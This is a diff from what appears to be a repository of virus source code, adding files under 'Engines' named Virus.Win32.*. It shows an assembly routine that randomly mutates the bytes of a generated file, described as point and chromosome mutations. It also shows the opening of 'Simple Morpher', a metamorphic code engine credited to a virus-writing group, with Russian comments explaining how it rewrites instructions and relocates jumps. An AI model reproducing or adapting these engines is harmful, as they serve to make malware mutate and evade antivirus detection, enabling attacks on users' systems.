mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
|
||||||
|
sub al, dl ; al-=dl
|
||||||
|
add al, dh ; al+=dh
|
||||||
|
mov ah, dl ; ah=dl
|
||||||
|
push ax ; AX to stack
|
||||||
|
mov cl, 1 ; cl=1
|
||||||
|
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
|
||||||
|
mul dh ; AL=AX*DH
|
||||||
|
pop cx ; CX=old AX
|
||||||
|
push cx ; To stack again
|
||||||
|
add cl, al ; CL+=AL
|
||||||
|
sub cl, ah ; CL-=AH
|
||||||
|
xchg al, cl ; AL=CL
|
||||||
|
mov cx, bp ; cx=bp
|
||||||
|
mul cl ; AX=AL*CL
|
||||||
|
neg ah ; NEG AH
|
||||||
|
xor al, ah ; xor AL and AH
|
||||||
|
pop cx ; get old AX
|
||||||
|
sub cl, al ; SUB
|
||||||
|
add cl, dl ; cl+=old random number
|
||||||
|
sub al, cl ; al ~=random :)
|
||||||
|
pop ecx ; Get counter
|
||||||
|
mov [rand_name_buffer+ecx-1], al ; Save random letter
|
||||||
|
loop random_name_loop
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
random_name:
|
||||||
|
call random_number ; Get 8 random bytes
|
||||||
|
mov ecx, 8 ; counter=8, as we want to do it 8 times
|
||||||
|
|
||||||
|
changetoletter:
|
||||||
|
mov al, [rand_name_buffer+ecx-1] ; Get a letter
|
||||||
|
mov bl, 10 ; BL=10
|
||||||
|
xor ah, ah ; AX: 0000 0000 ???? ????
|
||||||
|
div bl ; AL=rnd/10=number between 0 and 25
|
||||||
|
add al, 97 ; Add 97 for getting lowercase letters
|
||||||
|
mov [rnd_file_name+ecx-1], al ; Save random letter
|
||||||
|
loop changetoletter
|
||||||
|
ret
|
||||||
|
|
||||||
|
random_byte:
|
||||||
|
invoke GetSystemTime, systemtime_struct ; Get first number
|
||||||
|
mov ebx, [rnd-2] ; ebx=number
|
||||||
|
add ebx, edx ; Making it pseudo-independent of time
|
||||||
|
sub ebx, ecx
|
||||||
|
xor ebx, eax
|
||||||
|
xchg bl, bh
|
||||||
|
pop ecx
|
||||||
|
push ecx
|
||||||
|
neg ebx
|
||||||
|
xor ebx, ecx ; ebx=pseudo-indepentend number
|
||||||
|
|
||||||
|
invoke GetTickCount ; Get second number
|
||||||
|
xor eax, ecx ; eax=number
|
||||||
|
neg ax ; Making it pseudo-independent of time
|
||||||
|
xor eax, edx
|
||||||
|
xor ah, al
|
||||||
|
sub eax, ebp
|
||||||
|
add eax, esi ; eax=pseudo-indepentend number
|
||||||
|
|
||||||
|
xor eax, ebx ; Compain the numbers -> eax
|
||||||
|
mov ebx, eax ; Save eax
|
||||||
|
shr eax, 8 ; e-part -> ax
|
||||||
|
xor ax, bx
|
||||||
|
xor al, ah ; al=number
|
||||||
|
ret
|
||||||
|
|
||||||
|
get_n_save_random_name:
|
||||||
|
mov ebp, 12 ; ebp influences the pseudo-random-number engine too
|
||||||
|
call random_name ; Get a random name
|
||||||
|
ret
|
||||||
|
|
||||||
|
evolution:
|
||||||
|
; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0
|
||||||
|
|
||||||
|
invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file
|
||||||
|
mov [file_handle], eax ; Save the file handle
|
||||||
|
invoke GetFileSize, [file_handle], file_size ; Get the size of the file
|
||||||
|
mov [file_size], eax ; Low Filesize returned in eax
|
||||||
|
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map
|
||||||
|
mov [map_handle], eax ; Save the Map handle
|
||||||
|
|
||||||
|
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file
|
||||||
|
mov [map_pointer], eax ; Save the pointer of file
|
||||||
|
|
||||||
|
call random_number ; Get a random number
|
||||||
|
mov al, [rand_name_buffer] ; Radom number in al
|
||||||
|
|
||||||
|
; Chances:
|
||||||
|
; Point-Mutation: ~50%+18.75%=~68.75%
|
||||||
|
; Each Chromosome Mutation: ~6.25%
|
||||||
|
|
||||||
|
and al, 1 ; al=0000 000?
|
||||||
|
cmp al, 1 ; Compare with 1
|
||||||
|
je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)
|
||||||
|
|
||||||
|
mov al, [rand_name_buffer+4] ; al=new random number
|
||||||
|
and al, 7 ; al=0000 0???
|
||||||
|
|
||||||
|
cmp al, 0 ; Compare al with 0
|
||||||
|
je chrom_inversation ; If al=0 make Chromosome Inversation
|
||||||
|
|
||||||
|
cmp al, 1 ; Compare al with 1
|
||||||
|
je chrom_translocation ; If al=1 make Chromosome Translocation
|
||||||
|
|
||||||
|
cmp al, 2 ; Compare al with 2
|
||||||
|
je chrom_delection ; If al=2 make Chromosome Delection
|
||||||
|
|
||||||
|
cmp al, 3 ; Compare al with 3
|
||||||
|
je chrom_dublication ; If al=2 make Chromosome Dublication
|
||||||
|
|
||||||
|
cmp al, 4 ; Compare al with 4
|
||||||
|
je chrom_inseration ; If al=4 make Chromosome Inseration
|
||||||
|
|
||||||
|
jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)
|
||||||
|
|
||||||
|
endofmutation:
|
||||||
|
invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File
|
||||||
|
|
||||||
|
invoke CloseHandle, [map_handle] ; Close Map
|
||||||
|
invoke CloseHandle, [file_handle] ; Close File
|
||||||
|
jmp noevolution
|
||||||
|
|
||||||
|
pointmutation: ; Mutation: Pointmutation
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=File size
|
||||||
|
cmp eax, ebx ; comparee Random Number with File Size
|
||||||
|
jg pointmutation ; If RN>Filesize then get new random number (=byte to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; eax=Byte to change in memory
|
||||||
|
mov [change_byte_offset], eax ; Save the offset
|
||||||
|
|
||||||
|
mov ah, [eax] ; Get the value of the byte
|
||||||
|
mov [change_byte_value], ah ; Save it
|
||||||
|
|
||||||
|
mov cl, [rand_name_buffer+5] ; cl=???? ????
|
||||||
|
and cl, 7 ; cl=0000 0???
|
||||||
|
mov al, 1 ; al=0000 0001
|
||||||
|
shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
|
||||||
|
mov esi, [change_byte_offset] ; esi=offset of byte to change
|
||||||
|
xor [esi], al ; XOR byte with AL
|
||||||
|
; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0
|
||||||
|
jmp endofmutation
|
||||||
|
|
||||||
|
chrom_inversation: ; Mutation: Chromosome Mutation - Inversation
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)
|
||||||
|
cmp eax, ebx ; comparee Random number with Filesize-16
|
||||||
|
jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; Add the offset of file memory
|
||||||
|
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||||
|
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||||
|
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; ESI=Offset of part 1
|
||||||
|
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||||
|
rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||||
|
|
||||||
|
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=Counter (start of part 2)
|
||||||
|
add eax, [change_byte_offset] ; eax+=Offset in memory of part 2
|
||||||
|
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [change_byte_value] ; ecx=Counter
|
||||||
|
|
||||||
|
mov esi, eax ; ESI=Offset of part 2
|
||||||
|
mov edi, [change_byte_offset] ; EDI=Offset of part 1
|
||||||
|
rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||||
|
|
||||||
|
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [change_byte_value] ; ecx=Counter
|
||||||
|
mov eax, [change_byte_offset] ; eax=Start of part 1
|
||||||
|
add eax, ecx ; eax=Start of part 2
|
||||||
|
|
||||||
|
mov esi, rand_name_buffer ; ESI=Offset of buffer
|
||||||
|
mov edi, eax ; EDI=Offset of part 2
|
||||||
|
rep movsb ; buffer to part 1
|
||||||
|
|
||||||
|
; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
|
||||||
|
jmp endofmutation ; Finished Inversation!
|
||||||
|
|
||||||
|
chrom_translocation:
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||||
|
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||||
|
jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; Add the offset of file memory
|
||||||
|
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||||
|
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||||
|
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; ESI=Offset of source
|
||||||
|
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||||
|
rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||||
|
|
||||||
|
mov ecx, [file_size] ; eax=filesize
|
||||||
|
add ecx, [map_pointer] ; eax=End of file in memory
|
||||||
|
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||||
|
add esi, eax ; esi=Pointer to end of changing in memory
|
||||||
|
|
||||||
|
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
chrom_trans_loop: ; Get a offset, where to save the part
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||||
|
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||||
|
jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; Add the offset of file memory
|
||||||
|
mov [change_byte_offset], eax ; Save offset of changing
|
||||||
|
|
||||||
|
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||||
|
add ecx, [file_size] ; ecx=End of file in memory
|
||||||
|
|
||||||
|
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||||
|
sub ecx, eax ; ecx-=number of bytes to change
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||||
|
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||||
|
add edi, eax ; edi=Offset after changing
|
||||||
|
|
||||||
|
chrom_trans_buffer: ; Delete the Code-Part
|
||||||
|
mov al, [esi+ecx] ; al=Value to Replace
|
||||||
|
mov [edi+ecx], al ; Save al
|
||||||
|
loop chrom_trans_buffer
|
||||||
|
|
||||||
|
; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
|
||||||
|
jmp endofmutation
|
||||||
|
|
||||||
|
chrom_delection:
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8
|
||||||
|
cmp eax, ebx ; comparee Random number with Filesize
|
||||||
|
jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; Add the offset of file memory
|
||||||
|
mov [change_byte_offset], eax ; Save the pointer
|
||||||
|
|
||||||
|
call random_number ; Get a random number
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [rand_name_buffer] ; cl=random number
|
||||||
|
and cl, 7 ; cl=0000 0???
|
||||||
|
mov [change_byte_value], cl ; Save the random number
|
||||||
|
|
||||||
|
mov ecx, [file_size] ; eax=filesize
|
||||||
|
add ecx, [map_pointer] ; eax=End of file in memory
|
||||||
|
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||||
|
add esi, eax ; esi=Pointer to end of changing in memory
|
||||||
|
|
||||||
|
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
|
||||||
|
jmp endofmutation
|
||||||
|
|
||||||
|
chrom_dublication:
|
||||||
|
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size
|
||||||
|
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||||
|
|
||||||
|
call random_number ; Get a random number
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [rand_name_buffer] ; cl=random number
|
||||||
|
and cl, 7 ; cl=0000 0???
|
||||||
|
mov [change_byte_value], cl ; Save the random number
|
||||||
|
|
||||||
|
add ecx, [file_size] ; ecx=New filesize
|
||||||
|
mov [file_size], ecx ; Save new filesize
|
||||||
|
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||||
|
mov [map_handle], eax
|
||||||
|
|
||||||
|
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||||
|
mov [map_pointer], eax
|
||||||
|
|
||||||
|
chrom_dubl_loop1:
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8
|
||||||
|
cmp eax, ebx ; comparee Random number with Filesize
|
||||||
|
jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||||
|
mov [change_byte_offset], eax ; Save the offset
|
||||||
|
|
||||||
|
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||||
|
add ecx, [file_size] ; ecx=End of file in memory
|
||||||
|
|
||||||
|
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||||
|
sub ecx, eax ; ecx-=number of bytes to change
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||||
|
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||||
|
add edi, eax ; edi=Offset after changing
|
||||||
|
|
||||||
|
chrom_dubl_buffer: ; Make a buffer
|
||||||
|
mov al, [esi+ecx] ; al=Value to Replace
|
||||||
|
mov [edi+ecx], al ; Save al
|
||||||
|
loop chrom_dubl_buffer
|
||||||
|
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [change_byte_value] ; ecx=lenght of string to dublicate
|
||||||
|
mov esi, [change_byte_offset] ; From
|
||||||
|
mov edi, [change_byte_offset] ; To
|
||||||
|
add edi, ecx ; Offset of buffer
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
|
||||||
|
jmp endofmutation
|
||||||
|
|
||||||
|
|
||||||
|
chrom_inseration:
|
||||||
|
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size
|
||||||
|
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||||
|
|
||||||
|
call random_number ; Get a random number
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [rand_name_buffer] ; cl=random number
|
||||||
|
and cl, 7 ; cl=0000 0???
|
||||||
|
mov [change_byte_value], cl ; Save the random number
|
||||||
|
|
||||||
|
add ecx, [file_size] ; ecx=New filesize
|
||||||
|
mov [file_size], ecx ; Save new filesize
|
||||||
|
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||||
|
mov [map_handle], eax
|
||||||
|
|
||||||
|
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||||
|
mov [map_pointer], eax
|
||||||
|
|
||||||
|
chrom_inser_loop1:
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8
|
||||||
|
cmp eax, ebx ; comparee Random number with Filesize
|
||||||
|
jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||||
|
mov [change_byte_offset], eax ; Save the offset
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Offset to get the new part
|
||||||
|
mov edi, rand_name_buffer ; edi=where to save
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [change_byte_value] ; ecx=How many bytes
|
||||||
|
rep movsb ; Save the part.
|
||||||
|
|
||||||
|
chrom_inser_loop2:
|
||||||
|
call random_number ; Renew the random numbers
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||||
|
mov ebx, [file_size] ; ebx=Filesize
|
||||||
|
sub ebx, 8 ; ebx-=8
|
||||||
|
cmp eax, ebx ; Compare Random number with Filesize
|
||||||
|
jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||||
|
|
||||||
|
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||||
|
mov [change_byte_offset], eax ; Save the offset
|
||||||
|
|
||||||
|
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||||
|
add ecx, [file_size] ; ecx=End of file in memory
|
||||||
|
|
||||||
|
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||||
|
xor eax, eax ; eax=0
|
||||||
|
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||||
|
sub ecx, eax ; ecx-=number of bytes to change
|
||||||
|
|
||||||
|
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||||
|
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||||
|
add edi, eax ; edi=Offset after changing
|
||||||
|
|
||||||
|
chrom_inser_buffer: ; Make a buffer
|
||||||
|
mov al, [esi+ecx] ; al=Value to Replace
|
||||||
|
mov [edi+ecx], al ; Save al
|
||||||
|
loop chrom_inser_buffer
|
||||||
|
|
||||||
|
mov esi, rand_name_buffer ; esi=source
|
||||||
|
mov edi, [change_byte_offset] ; edi=destination
|
||||||
|
xor ecx, ecx ; ecx=0
|
||||||
|
mov cl, [change_byte_value] ; ecx=length
|
||||||
|
rep movsb ; Write saved part to the new place
|
||||||
|
|
||||||
|
; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
|
||||||
|
jmp endofmutation
|
||||||
|
|
||||||
|
.end start
|
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
Binary file not shown.
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
@ -0,0 +1,510 @@
|
|||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Simple Morpher v.0.1 :
|
||||||
|
; :
|
||||||
|
; x0man © 2008 :
|
||||||
|
; :
|
||||||
|
; http://www.virustech.org/ :
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;-----------------------------------------------------------------------------------------:
|
||||||
|
; :
|
||||||
|
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||||
|
; :
|
||||||
|
;Есть массив в который заносятся данные о инструкциях :
|
||||||
|
;Одним эллементом массива является: :
|
||||||
|
; :
|
||||||
|
;_OPCODE struct; :
|
||||||
|
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||||
|
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||||
|
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||||
|
; ; (если инструкция им является) :
|
||||||
|
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||||
|
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||||
|
;_OPCODE ends :
|
||||||
|
; :
|
||||||
|
;В "мой" Первый этап входит :
|
||||||
|
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||||
|
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||||
|
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||||
|
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||||
|
; подсчитать скажем так EIP при выполнении оной. :
|
||||||
|
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||||
|
; :
|
||||||
|
;Второй этап :
|
||||||
|
; 1. Проходимся по массиву с описаниями инструкций :
|
||||||
|
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||||
|
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||||
|
; :
|
||||||
|
; :
|
||||||
|
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||||
|
; :
|
||||||
|
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||||
|
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||||
|
; :
|
||||||
|
;GreeTz: :
|
||||||
|
; Osen :
|
||||||
|
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||||
|
; :
|
||||||
|
; tPORt (http://www.tport.org/) :
|
||||||
|
; REVENGE(http://www.revenge-crew.com/) :
|
||||||
|
; TLG (http://tlg.astalavista.ms/) :
|
||||||
|
; TSRh (http://tsrh.org.ua/) :
|
||||||
|
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||||
|
; :
|
||||||
|
; :
|
||||||
|
; Спасибо за внимание! :
|
||||||
|
; :
|
||||||
|
; 10.05.2008 :
|
||||||
|
; x0man [VirusTech] :
|
||||||
|
; http://www.virustech.org :
|
||||||
|
;-----------------------------------------------------------------------------------------:
|
||||||
|
|
||||||
|
.386
|
||||||
|
.model flat, stdcall
|
||||||
|
option casemap :none
|
||||||
|
|
||||||
|
include \MASM32\INCLUDE\windows.inc
|
||||||
|
include \MASM32\INCLUDE\kernel32.inc
|
||||||
|
include \MASM32\INCLUDE\user32.inc
|
||||||
|
|
||||||
|
includelib \MASM32\LIB\kernel32.lib
|
||||||
|
includelib \MASM32\LIB\user32.lib
|
||||||
|
|
||||||
|
; #########################################################################
|
||||||
|
|
||||||
|
_OPCODE struct
|
||||||
|
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||||
|
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||||
|
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||||
|
; (если инструкция им является)
|
||||||
|
dwLength dd ? ; в данном примере эта переменная не используется
|
||||||
|
; Надеюсь вам она пригодиться больше чем мне :)
|
||||||
|
_OPCODE ends
|
||||||
|
|
||||||
|
; #########################################################################
|
||||||
|
|
||||||
|
.code
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Код для теста :)
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
test_code:
|
||||||
|
@@:
|
||||||
|
jmp @F
|
||||||
|
mov eax, edx
|
||||||
|
pop eax
|
||||||
|
push eax
|
||||||
|
call @F
|
||||||
|
cmp eax, 0
|
||||||
|
jne @B
|
||||||
|
jmp @B
|
||||||
|
add ecx, edx
|
||||||
|
add eax, edx
|
||||||
|
xchg edx, ecx
|
||||||
|
call @B
|
||||||
|
jne @F
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
jne @B
|
||||||
|
ret
|
||||||
|
@@:
|
||||||
|
ret
|
||||||
|
int 3
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::
|
||||||
|
; Подключим дизасм длинн инструкций
|
||||||
|
include Catchy32\Catchy32.inc
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||||
|
; Пример: dwCurrentAddress - указывает на код |
|
||||||
|
; |
|
||||||
|
; 00000000: 74 30 JE imm8 |
|
||||||
|
; эта функция высчитывает "imm8" |
|
||||||
|
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||||
|
; т.е. |
|
||||||
|
; 00000000 - Текущий адрес |
|
||||||
|
; 30 - Параметр |
|
||||||
|
; 2 - Длинна инструкции JE imm8 |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; 00000000: 74 30 JE 00000032 --. |
|
||||||
|
; 00000002: | |
|
||||||
|
; | |
|
||||||
|
; 00000032: <-----° |
|
||||||
|
; Это описание для "положительных" прыжков |
|
||||||
|
; Для отрицательных, попробуйте разобрать сами |
|
||||||
|
; там не сложно ;-) |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||||
|
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||||
|
; OUT EAX : Адрес куда прыжок указывает |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
get_jump_address proc dwCurrentAddress : DWORD
|
||||||
|
|
||||||
|
push ecx
|
||||||
|
push edi
|
||||||
|
|
||||||
|
mov edi, dwCurrentAddress
|
||||||
|
mov al, byte ptr [edi]
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; XX imm8
|
||||||
|
cmp al, 070h
|
||||||
|
jl @F
|
||||||
|
cmp al, 07Fh
|
||||||
|
